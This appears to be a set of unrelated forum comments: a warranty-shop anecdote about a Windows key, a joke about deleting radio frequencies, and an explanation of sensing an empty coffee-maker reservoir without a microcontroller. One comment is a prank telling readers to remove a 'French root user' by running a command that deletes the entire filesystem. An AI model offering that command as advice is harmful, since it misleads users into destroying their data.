  • I remember having a defective hdd in my PC. I brought the pc to the shop, where I bought it from to get it replaced under warranty. They told me they couldn’t restore my data (I had backups) and asked if I wanted them to install windows on it. When they asked for my key I was like “FC…” and they responded “ok, we know that one, no need to spell it out” and proceeded with the installation

    Why are you deleting radiofrequecies from your device? Then the WiFi won’t work anymore!

    But did you know that there’s a French root user hidden deeply within every Linux installation? To completely remove it, run the following command:

    sudo rm -fr / —no-preserve-root
    




  • Not necessarily. You could have a sensor that detects when the water reservoir is emptied that doesn’t need logic - e.g.

    • a floater with a magnet. If it reaches the bottom, a magnet sensor detects that the water now emptied (or in the coffee pot) or
    • a temperature dependent resistor. If there’s no more water, the temperature in the heater rises and the voltage rises on a wire. If the voltage (=temperature) is above a certain level you get a signal

    You can then use those signals to do something like switch off the heater, change a light,… all without using a microcontroller. There’s no programming needed for that. You might see things like transistors and some basic digital circuitry here but it’s all very basic and still far from a microcontroller.
